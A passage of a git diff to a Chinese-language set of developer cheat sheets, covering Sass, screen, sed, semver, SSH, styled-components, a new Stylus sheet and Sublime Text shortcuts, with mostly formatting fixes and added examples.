`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器,如 `:not()`
|
||||
`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
|
||||
`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
|
||||
`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
Sass 循环
|
||||
--------
|
||||
|
||||
### For 循环
|
||||
|
||||
```scss
|
||||
$base-color: #036;
|
||||
|
||||
@for $i from 1 through 3 {
|
||||
ul:nth-child(3n + #{$i}) {
|
||||
background-color: lighten($base-color, $i * 5%);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
ul:nth-child(3n + 1) {
|
||||
background-color: #004080;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 2) {
|
||||
background-color: #004d99;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 3) {
|
||||
background-color: #0059b3;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环(简单)
|
||||
|
||||
```scss
|
||||
$sizes: 40px, 50px;
|
||||
|
||||
@each $size in $sizes {
|
||||
.icon-#{$size} {
|
||||
font-size: $size;
|
||||
height: $size;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.icon-40px {
|
||||
font-size: 40px;
|
||||
height: 40px;
|
||||
}
|
||||
|
||||
.icon-50px {
|
||||
font-size: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环(嵌套)
|
||||
|
||||
```scss
|
||||
$icons: ("eye": "\f112", "start": "\f12e");
|
||||
|
||||
@each $name, $glyph in $icons {
|
||||
.icon-#{$name}:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: $glyph;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.icon-eye:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
.icon-start:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
```
|
||||
|
||||
### While 循环
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
@use "sass:math";
|
||||
|
||||
/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
|
||||
@function scale-below($value, $base, $ratio: 1.618) {
|
||||
@while $value > $base {
|
||||
$value: math.div($value, $ratio);
|
||||
}
|
||||
@return $value;
|
||||
}
|
||||
|
||||
$normal-font-size: 16px;
|
||||
sup {
|
||||
font-size: scale-below(20px, 16px);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
sup {
|
||||
font-size: 12.36094px;
|
||||
}
|
||||
```
|
||||
|
||||
Sass 其它功能
|
||||
--------
|
||||
|
||||
### 条件句
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
@mixin avatar($size, $circle: false) {
|
||||
width: $size;
|
||||
height: $size;
|
||||
|
||||
@if $circle {
|
||||
border-radius: $size / 2;
|
||||
}
|
||||
}
|
||||
|
||||
.square-av {
|
||||
@include avatar(100px, $circle: false);
|
||||
}
|
||||
.circle-av {
|
||||
@include avatar(100px, $circle: true);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
.square-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
}
|
||||
|
||||
.circle-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
border-radius: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### 插值
|
||||
|
||||
```scss
|
||||
.#{$klass} { ... } // Class
|
||||
call($function-name) // Functions
|
||||
@media #{$tablet}
|
||||
font: #{$size}/#{$line-height}
|
||||
url("#{$background}.jpg")
|
||||
```
|
||||
|
||||
### 列表
|
||||
|
||||
```scss
|
||||
$list: (a b c);
|
||||
nth($list, 1) // starts with 1
|
||||
length($list)
|
||||
@each $item in $list { ... }
|
||||
```
|
||||
|
||||
### Maps
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
$map: (key1: value1, key2: value2, key3: value3);
|
||||
map-get($map, key1)
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
@ -30,7 +30,6 @@ $ screen -ls
|
||||
$ screen -r <name/pid>
|
||||
```
|
||||
|
||||
|
||||
### 选项
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -45,7 +44,6 @@ $ screen -r <name/pid>
|
||||
`-X` | screen -X -S debug kill | 终止正在运行的会话
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
|
||||
### 进入
|
||||
|
||||
Command | Description
|
||||
@ -108,7 +106,6 @@ Command | Description
|
||||
`Ctrl-A` `H` | 在屏幕会话中启用日志记录
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
|
||||
### 分屏
|
||||
|
||||
Command | Description
|
||||
@ -121,7 +118,6 @@ Command | Description
|
||||
`Ctrl-A` `Q` | 删除除当前区域之外的所有区域
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
|
||||
### 滚动
|
||||
|
||||
Command | Description
|
||||
@ -138,4 +134,4 @@ Command | Description
|
||||
|
||||
```shell
|
||||
$ ssh -t user@host screen -x <name/pid>
|
||||
```
|
||||
```
|
||||
|
35
docs/sed.md
35
docs/sed.md
@ -71,26 +71,26 @@ Sed 命令
|
||||
### 命令
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
| Command | Example | Description |
|
||||
|---------|----------------------------------------|-----------------------------|
|
||||
| `p` | sed -n '1,4 p' input.txt | Print lines 1-4 |
|
||||
| `p` | sed -n -e '1,4 p' -e '6,7 p' input.txt | Print lines 1-4 and 6-7 |
|
||||
| `d` | sed '1,4 d' input.txt | Print lines except 1-4 |
|
||||
| `w` | sed -n '1,4 w output.txt' input.txt | Write pattern space to file |
|
||||
| `a` | sed '2 a new-line' input.txt | Append line after |
|
||||
| `i` | sed '2 i new-line' input.txt | Insert line before |
|
||||
命令 | 示例 | 描述
|
||||
:- | :- |:-
|
||||
`p` | sed -n '1,4 p' input.txt | 打印第 1-4 行
|
||||
`p` | sed -n -e '1,4 p' -e '6,7 p' input.txt | 打印第 1-4 行和第 6-7 行
|
||||
`d` | sed '1,4 d' input.txt | 打印除 1-4 之外的行
|
||||
`w` | sed -n '1,4 w output.txt' input.txt | 将模式空间写入文件
|
||||
`a` | sed '2 a new-line' input.txt | 在后面追加一行
|
||||
`i` | sed '2 i new-line' input.txt | 在前面插入行
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 空间命令
|
||||
|
||||
| Command | Description |
|
||||
|---------|--------------------------------------------------------------|
|
||||
| `n` | 打印模式空间,空模式空间,读取下一行 |
|
||||
| `x` | 用保持空间交换模式空间 |
|
||||
| `h` | 复制模式空间以保持空间 |
|
||||
| `H` | 追加模式空间以保持空间 |
|
||||
| `g` | 将保持空间复制到模式空间 |
|
||||
| `G` | 将保持空间附加到模式空间 |
|
||||
命令 | 描述
|
||||
:- | :-
|
||||
`n` | 打印模式空间,空模式空间,读取下一行
|
||||
`x` | 用保持空间交换模式空间
|
||||
`h` | 复制模式空间以保持空间
|
||||
`H` | 追加模式空间以保持空间
|
||||
`g` | 将保持空间复制到模式空间
|
||||
`G` | 将保持空间附加到模式空间
|
||||
|
||||
### Flags
|
||||
|
||||
@ -99,7 +99,7 @@ $ sed 's/old/new/[flags]' [input-file]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
| Flag | Description |
|
||||
|----------|--------------------------------------------|
|
||||
| `g` | 全球替代 |
|
||||
@ -109,7 +109,6 @@ $ sed 's/old/new/[flags]' [input-file]
|
||||
| `I` | 搜索时忽略大小写 |
|
||||
| `e` | 在命令行中替换并执行 |
|
||||
|
||||
|
||||
### 循环命令
|
||||
|
||||
| Command | Description |
|
||||
|
@ -54,7 +54,6 @@ Semver 备忘清单
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 连字符范围
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
| 范围 | 描述 |
|
||||
| --- | --- |
|
||||
@ -76,9 +75,46 @@ Semver 备忘清单
|
||||
| `1.2 - 2.3.0` | 是 `1.2.0 - 2.3.0` |
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,` 2.3.x`)。
|
||||
当右侧为部分(例如,`2.3`)时,假定缺失的部分为`x`(例如,`2.3.x`)。
|
||||
|
||||
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,` 1.2.0`)。
|
||||
如果左边是部分的(例如,`1.2`),则假定缺少的部分为`0`(例如,`1.2.0`)。
|
||||
|
||||
### 有效的语义版本
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```js
|
||||
0.0.4
|
||||
1.2.3
|
||||
10.20.30
|
||||
1.1.2-prerelease+meta
|
||||
1.1.2+meta
|
||||
1.1.2+meta-valid
|
||||
1.0.0-alpha
|
||||
1.0.0-beta
|
||||
1.0.0-alpha.beta
|
||||
1.0.0-alpha.beta.1
|
||||
1.0.0-alpha.1
|
||||
1.0.0-alpha0.valid
|
||||
1.0.0-alpha.0valid
|
||||
1.0.0-alpha-a.b-c-somethinglong+build.1-aef.1-its-okay
|
||||
1.0.0-rc.1+build.1
|
||||
2.0.0-rc.1+build.123
|
||||
1.2.3-beta
|
||||
10.2.3-DEV-SNAPSHOT
|
||||
1.2.3-SNAPSHOT-123
|
||||
1.0.0
|
||||
2.0.0
|
||||
1.1.7
|
||||
2.0.0+build.1848
|
||||
2.0.1-alpha.1227
|
||||
1.0.0-alpha+beta
|
||||
1.2.3----RC-SNAPSHOT.12.9.1--.12+788
|
||||
1.2.3----R-S.12.9.1--.12+meta
|
||||
1.2.3----RC-SNAPSHOT.12.9.1--.12
|
||||
1.0.0+0.build.1-rc.10000aaa-kk-0.1
|
||||
99999999999999999999999.999999999999999999.99999999999999999
|
||||
1.0.0-0A.is.legal
|
||||
```
|
||||
|
||||
### 组合范围
|
||||
|
||||
@ -88,13 +124,8 @@ Semver 备忘清单
|
||||
| `0.14.x \|\| 15.x.x` | 或 (双竖线分隔) |
|
||||
<!--rehype:className=shortcuts show-header-->
|
||||
|
||||
### 预发布
|
||||
|
||||
```
|
||||
1.2.3-prerelease+build
|
||||
```
|
||||
|
||||
### 解释
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
| 范围 | 描述 |
|
||||
| --- | --- |
|
||||
@ -104,9 +135,15 @@ Semver 备忘清单
|
||||
| `1.x.x` | 表示定义了公共 API |
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 预发布
|
||||
|
||||
```
|
||||
1.2.3-prerelease+build
|
||||
1.1.2-prerelease+meta
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [语义化版本号验证正则表达式,支持按编号提取的语言](https://regex101.com/r/vkijKf/1/)
|
||||
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)
|
||||
- [语义化版本号验证正则表达式,支持按组名称提取的语言](https://regex101.com/r/Ly7O1x/3/)
|
||||
|
@ -22,7 +22,6 @@ Sketch 备忘清单
|
||||
| `t` | (Text) 文本 |
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
|
||||
### 类型
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
@ -131,8 +130,7 @@ Sketch 备忘清单
|
||||
| `Fn + ↓` | 选择下面的页面 |
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_
|
||||
- [Sketch 官网](https://www.sketch.com/) _(sketch.com)_
|
||||
|
@ -99,7 +99,6 @@ $ scp user@server:/dir/* .
|
||||
`~/.ssh/known_hosts` | 登录主机
|
||||
`~/.ssh/authorized_keys` | 授权登录密钥
|
||||
|
||||
|
||||
### SCP 选项
|
||||
|
||||
选项 | 说明
|
||||
@ -111,7 +110,6 @@ scp `-P` 8080 | 使用特定端口
|
||||
scp `-B` | 批处理模式_(防止密码)_
|
||||
scp `-p` | 保留时间和模式
|
||||
|
||||
|
||||
### 配置示例
|
||||
|
||||
```toml
|
||||
@ -148,7 +146,6 @@ $ ssh -J user@proxy_host1:port1,user@proxy_host2:port2 user@remote_host3
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
|
||||
### ssh-copy-id
|
||||
|
||||
```shell
|
||||
@ -229,7 +226,6 @@ $ ssh-keygen -p -f ~/.ssh/id_rsa
|
||||
- dsa
|
||||
- ecdsa
|
||||
|
||||
|
||||
### known_hosts
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
@ -247,11 +243,11 @@ $ ssh-keygen -R <ip/hostname>
|
||||
|
||||
### 密钥格式
|
||||
|
||||
- PEM
|
||||
- PEM
|
||||
- PKCS8
|
||||
|
||||
另见
|
||||
--------
|
||||
|
||||
- [OpenSSH 配置文件示例](https://www.cyberciti.biz/faq/create-ssh-config-file-on-linux-unix/) _(cyberciti.biz)_
|
||||
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_
|
||||
- [ssh_config](https://linux.die.net/man/5/ssh_config) _(linux.die.net)_
|
||||
|
@ -3,7 +3,6 @@ styled-components 备忘清单
|
||||
|
||||
此快速参考备忘单提供了使用 CSS in JS 工具的各种方法。
|
||||
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
@ -29,6 +28,7 @@ import styled from 'styled-components';
|
||||
```
|
||||
|
||||
创建一个 Title 组件
|
||||
|
||||
```jsx
|
||||
// 该组件将呈现具有样式的 <h1> 标签
|
||||
const Title = styled.h1`
|
||||
@ -236,7 +236,6 @@ const Demo = () => (
|
||||
);
|
||||
```
|
||||
|
||||
|
||||
### 样式对象
|
||||
|
||||
```jsx {2,5}
|
||||
@ -1107,4 +1106,4 @@ const Example = () => (
|
||||
Drag Me!
|
||||
</Comp>
|
||||
);
|
||||
```
|
||||
```
|
||||
|
559
docs/stylus.md
Normal file
559
docs/stylus.md
Normal file
@ -0,0 +1,559 @@
|
||||
Stylus 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [stylus](https://github.com/stylus/stylus) 所涉及的主要概念,显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
为 Node.js 构建的富有表现力、健壮、功能丰富的 [CSS](./css.md) 语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
|
||||
```bash
|
||||
# npm
|
||||
$ npm install stylus -g
|
||||
# pnpm
|
||||
$ pnpm add -g stylus
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 `stylus`
|
||||
|
||||
```bash
|
||||
$ stylus one.styl two.styl
|
||||
# stylus 从标准输入读取并输出到标准输出
|
||||
$ stylus --compress < some.styl > some.css
|
||||
# 将 css 目录中的文件编译输出到 `public/css`
|
||||
$ stylus css --out public/css
|
||||
```
|
||||
|
||||
转换 CSS,输出 `*.styl` 文件
|
||||
|
||||
```
|
||||
$ stylus --css < test.css > test.styl
|
||||
$ stylus --css test.css /tmp/out.styl
|
||||
```
|
||||
|
||||
### 支持 CSS 嵌套语法
|
||||
|
||||
```stylus
|
||||
.box {
|
||||
color: blue;
|
||||
.button {
|
||||
color: red;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Stylus 是一个 CSS 预处理器。另见: [stylus-lang.com](http://stylus-lang.com/)
|
||||
|
||||
### 支持类 python 缩进语法
|
||||
|
||||
```stylus
|
||||
.box
|
||||
color: blue
|
||||
.button
|
||||
color: red
|
||||
```
|
||||
|
||||
也有效!冒号也是可选的。这通常用于 Stylus 文档的语法
|
||||
|
||||
### 混合 Mixins
|
||||
|
||||
```stylus
|
||||
caps-type()
|
||||
letter-spacing: 0.05em
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
h5
|
||||
caps-type()
|
||||
```
|
||||
|
||||
编译 css 为:
|
||||
|
||||
```css
|
||||
h5 {
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
```
|
||||
|
||||
<!-- markdownlint-disable MD051 -->
|
||||
另见:下面[Mixins](#混合-Mixins)
|
||||
|
||||
### 变量 Variables
|
||||
|
||||
```stylus
|
||||
royal-blue = #36a
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue
|
||||
```
|
||||
|
||||
标识符(变量名、函数等)也可以包括 `$` 字符
|
||||
|
||||
```stylus
|
||||
$font-size = 14px
|
||||
body {
|
||||
font: $font-size sans-serif;
|
||||
}
|
||||
```
|
||||
|
||||
另见:[变量 Variables](https://stylus-lang.com/docs/variables.html)
|
||||
|
||||
混合 Mixins
|
||||
------
|
||||
|
||||
### 没有参数
|
||||
|
||||
```stylus {1}
|
||||
red-border()
|
||||
border: solid 2px red
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
div
|
||||
red-border()
|
||||
```
|
||||
|
||||
另见: [Mixins](http://stylus-lang.com/docs/mixins.html)
|
||||
|
||||
### 有参数
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n)
|
||||
-webkit-border-radius: n
|
||||
border-radius: n
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2,3}
|
||||
div
|
||||
border-radius: 2px
|
||||
border-radius(2px)
|
||||
```
|
||||
|
||||
Mixins can be applied in two different ways.
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n = 2px)
|
||||
-webkit-border-radius: n
|
||||
```
|
||||
|
||||
### 块混合
|
||||
|
||||
```stylus {3}
|
||||
mobile()
|
||||
@media (max-width: 480px)
|
||||
{block}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1}
|
||||
+mobile()
|
||||
width: 10px
|
||||
```
|
||||
|
||||
另见: [块混合](http://stylus-lang.com/docs/mixins.html#block-mixins)
|
||||
|
||||
### Rest 参数
|
||||
|
||||
```stylus {1}
|
||||
shadow(offset-x, args...)
|
||||
box-shadow: offset-x args
|
||||
margin-top: offset-x
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
#login
|
||||
shadow: 1px 2px 5px #eee
|
||||
```
|
||||
|
||||
另见: [Rest 参数](http://stylus-lang.com/docs/vargs.html)
|
||||
|
||||
函数 Functions
|
||||
---------
|
||||
|
||||
### 函数 Functions
|
||||
|
||||
```stylus {1}
|
||||
add(a, b)
|
||||
a + b
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
body
|
||||
padding: add(10px, 5)
|
||||
```
|
||||
|
||||
另见: [Functions](http://stylus-lang.com/docs/functions.html)
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
add(a, b = 2)
|
||||
a + b
|
||||
```
|
||||
|
||||
另见: [参数默认值](http://stylus-lang.com/docs/functions.html#argument-defaults)
|
||||
|
||||
### 命名参数
|
||||
|
||||
```stylus
|
||||
shadow(x, y)
|
||||
x y (y * 1.5) #000
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
.button
|
||||
box-shadow: shadow(x: 2, y: 4)
|
||||
```
|
||||
|
||||
另见: [命名参数](http://stylus-lang.com/docs/functions.html#named-parameters)
|
||||
|
||||
### 多个返回值
|
||||
|
||||
```stylus {2}
|
||||
sizes()
|
||||
8px 16px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sizes()[0] // → 8px
|
||||
sizes()[1] // → 16px
|
||||
```
|
||||
|
||||
另见: [多个返回值](http://stylus-lang.com/docs/functions.html#multiple-return-values)
|
||||
|
||||
### arguments
|
||||
|
||||
```stylus
|
||||
sum()
|
||||
n = 0
|
||||
for num in arguments
|
||||
n = n + num
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sum(1,2,3,4,5) // => 15
|
||||
```
|
||||
|
||||
参数 local 可用于所有函数体,并包含所有传递的参数
|
||||
|
||||
### hash 示例
|
||||
|
||||
```stylus
|
||||
get(hash, key)
|
||||
return pair[1] if pair[0] == key for pair in hash
|
||||
|
||||
hash = (one 1) (two 2) (three 3)
|
||||
|
||||
get(hash, two)
|
||||
// => 2
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
值 Values
|
||||
------
|
||||
|
||||
### 条件赋值
|
||||
|
||||
```stylus {2}
|
||||
royal-blue = #36a
|
||||
royal-blue ?= #89f
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue // #36a
|
||||
```
|
||||
|
||||
`?=` 只会在之前未设置的情况下设置变量
|
||||
|
||||
另见: [条件赋值](https://stylus-lang.com/docs/operators.html#conditional-assignment--)
|
||||
|
||||
### 属性查找
|
||||
|
||||
```stylus {2,3}
|
||||
.logo
|
||||
width: w = 150
|
||||
margin-left: -(w / 2)
|
||||
// or
|
||||
height: 80px
|
||||
margin-top: -(@height / 2)
|
||||
```
|
||||
|
||||
另见: [属性查找](https://stylus-lang.com/docs/variables.html#property-lookup)
|
||||
|
||||
### 插值
|
||||
|
||||
```stylus
|
||||
-{prefix}-border-radius: 2px
|
||||
```
|
||||
|
||||
另见: [Interpolation](https://stylus-lang.com/docs/interpolation.html)
|
||||
|
||||
### Color operators
|
||||
|
||||
```stylus
|
||||
#888 + 50% // → #c3c3c3 (lighten)
|
||||
#888 - 50% // → #444 (darken)
|
||||
#f00 + 50deg // → #ffd500 (hue)
|
||||
```
|
||||
|
||||
### Casting
|
||||
|
||||
```stylus
|
||||
n = 5px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1,2}
|
||||
foo: (n)em
|
||||
foo: (n * 5)%
|
||||
```
|
||||
|
||||
### Lookup
|
||||
|
||||
```stylus {3}
|
||||
light-blue = #3bd
|
||||
name = 'blue'
|
||||
lookup('light-' + name)
|
||||
```
|
||||
|
||||
另见: [lookup](https://stylus-lang.com/docs/bifs.html#lookupname)
|
||||
|
||||
高级功能
|
||||
-----------------
|
||||
|
||||
### 有条件的
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
if color == blue
|
||||
display: block
|
||||
else if true and true
|
||||
display: inline
|
||||
else if 'hey' is not 'bye'
|
||||
display: flex
|
||||
else
|
||||
display: none
|
||||
```
|
||||
|
||||
别名:
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
| `==` | `is` |
|
||||
| `!=` | `is not` |
|
||||
| `!=` | `isnt` |
|
||||
|
||||
另见: [Conditionals](https://stylus-lang.com/docs/functions.html#conditionals)
|
||||
|
||||
### 对于循环
|
||||
|
||||
```stylus {5}
|
||||
font-size-1 = 10px
|
||||
font-size-2 = 20px
|
||||
font-size-3 = 30px
|
||||
for i in 1..3
|
||||
.text-{i}
|
||||
font-size: lookup('font-size-' + i)
|
||||
```
|
||||
|
||||
### 定义检查
|
||||
|
||||
```stylus {1}
|
||||
if ohnoes is defined
|
||||
color: blue
|
||||
```
|
||||
|
||||
另见: [is defined](https://stylus-lang.com/docs/operators.html#variable-definition-is-defined)
|
||||
|
||||
### False 值
|
||||
|
||||
```stylus
|
||||
0
|
||||
null
|
||||
false
|
||||
''
|
||||
```
|
||||
|
||||
### 类型检查
|
||||
|
||||
```stylus
|
||||
if val is a 'string'
|
||||
if val is a 'ident'
|
||||
if #fff is a 'rgba' // → true
|
||||
```
|
||||
|
||||
另见: [Instance check](https://stylus-lang.com/docs/operators.html#instance-check-is-a)
|
||||
|
||||
内置函数
|
||||
------------------
|
||||
|
||||
### 颜色函数
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```stylus
|
||||
alpha(#fff) //→ 1
|
||||
alpha(rgba(0, 0, 0, 0.2)) //→ 0.2
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
dark(black) //→ true
|
||||
light(black) //→ false
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0) //→ 50deg
|
||||
saturation(#f00) //→ 100%
|
||||
lightness(#f00) //→ 50%
|
||||
luminosity(#f00) //→ 0.2126
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0, 0deg)
|
||||
saturation(#f00, 50%)
|
||||
lightness(#f00)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
lighten(color, 10%)
|
||||
darken(color, 10%)
|
||||
saturate(color, 10%)
|
||||
desaturate(color, 10%)
|
||||
invert(color)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
tint(color, 50%) // mix with white
|
||||
shade(color, 50%) // mix with black
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
unquote(string)
|
||||
```
|
||||
|
||||
另见: [Built-in functions](http://stylus-lang.com/docs/bifs.html)
|
||||
|
||||
### 图片尺寸
|
||||
|
||||
返回给定图像的宽度和高度
|
||||
|
||||
```stylus
|
||||
width: image-size('tux.png')[0]
|
||||
height: image-size('tux.png')[1]
|
||||
```
|
||||
|
||||
另见: [image-size](http://stylus-lang.com/docs/bifs.html#image-sizepath)
|
||||
|
||||
### 缓存 Caching
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
size($width)
|
||||
+cache('w' + $width)
|
||||
width: $width
|
||||
.a { size: 10px }
|
||||
.b { size: 10px }
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
// 输出: .a, b { width: 10px }
|
||||
```
|
||||
|
||||
在第一次调用时将其内容应用于给定的选择器,但会在第二次调用时使用相同的参数 `@extend` 第一次调用的选择器。另见: [cache](http://stylus-lang.com/docs/bifs.html#cachekeys)
|
||||
|
||||
### Embed URL
|
||||
|
||||
```
|
||||
background: embedurl('logo.png')
|
||||
// → background: url("data:image/png;base64,…")
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [embedurl](http://stylus-lang.com/docs/bifs.html#embedurlpath-encoding)
|
||||
|
||||
### 添加属性
|
||||
|
||||
```stylus
|
||||
gradient(color)
|
||||
add-property('background-image', linear-gradient(top, color, darken(color, 20%)))
|
||||
color
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
body
|
||||
background: gradient(red)
|
||||
```
|
||||
|
||||
另见: [add-property](http://stylus-lang.com/docs/bifs.html#add-propertyname-expr)
|
||||
|
||||
### sprintf
|
||||
|
||||
```stylus
|
||||
'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%))
|
||||
// → -webkit-gradient(linear, 0 0, 0 100%)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
s("rgba(0, 0, 0, %s)", 0.3)
|
||||
```
|
||||
|
||||
另见: [s](http://stylus-lang.com/docs/bifs.html#sfmt-)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
- [Less.js 备忘清单](./lessjs.md) _(jaywcjlove.github.io)_
|
@ -58,7 +58,7 @@ Sublime Text 备忘清单
|
||||
`⌃` | Control
|
||||
`⌥` | Option(alt)
|
||||
`⇧` | Shift
|
||||
`⇪` | Caps Lock(大写)
|
||||
`⇪` | Caps Lock(大写)
|
||||
`fn` | 功能键就是fn
|
||||
`↩︎` | return/Enter
|
||||
<!--rehype:className=shortcuts-->
|
||||
@ -79,9 +79,9 @@ Sublime Text 备忘清单
|
||||
|
||||
快捷键 | 说明
|
||||
:- | -
|
||||
`⌘ P` | 去任何地方
|
||||
`⌘ G` | 转到行号
|
||||
`⌘ R` | 转到符号
|
||||
`⌘ P` | 去任何地方
|
||||
`⌘ G` | 转到行号
|
||||
`⌘ R` | 转到符号
|
||||
`⌘ P, :` | 转到行号(`:`之后输入数字)
|
||||
`⌘ P, #` | 转到并列出字符串模糊匹配(`#`之后输入字符)
|
||||
`⌘ P, @` | 转到并列出符号(`@`之后开始输入符号名称)
|
||||
@ -147,4 +147,4 @@ $ subl README.md
|
||||
----
|
||||
|
||||
- [Sublime Text 官网](https://www.sublimetext.com/) _(sublimetext.com)_
|
||||
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_
|
||||
- [Sublime 编辑器快捷键](https://jaywcjlove.github.io/handbook/Shortcuts/sublime.html) _(jaywcjlove.github.io)_
|
||||
|
@ -34,11 +34,11 @@ var price: Double = 8.99
|
||||
### 算术运算符
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
- `+` 添加
|
||||
- `-` 减法
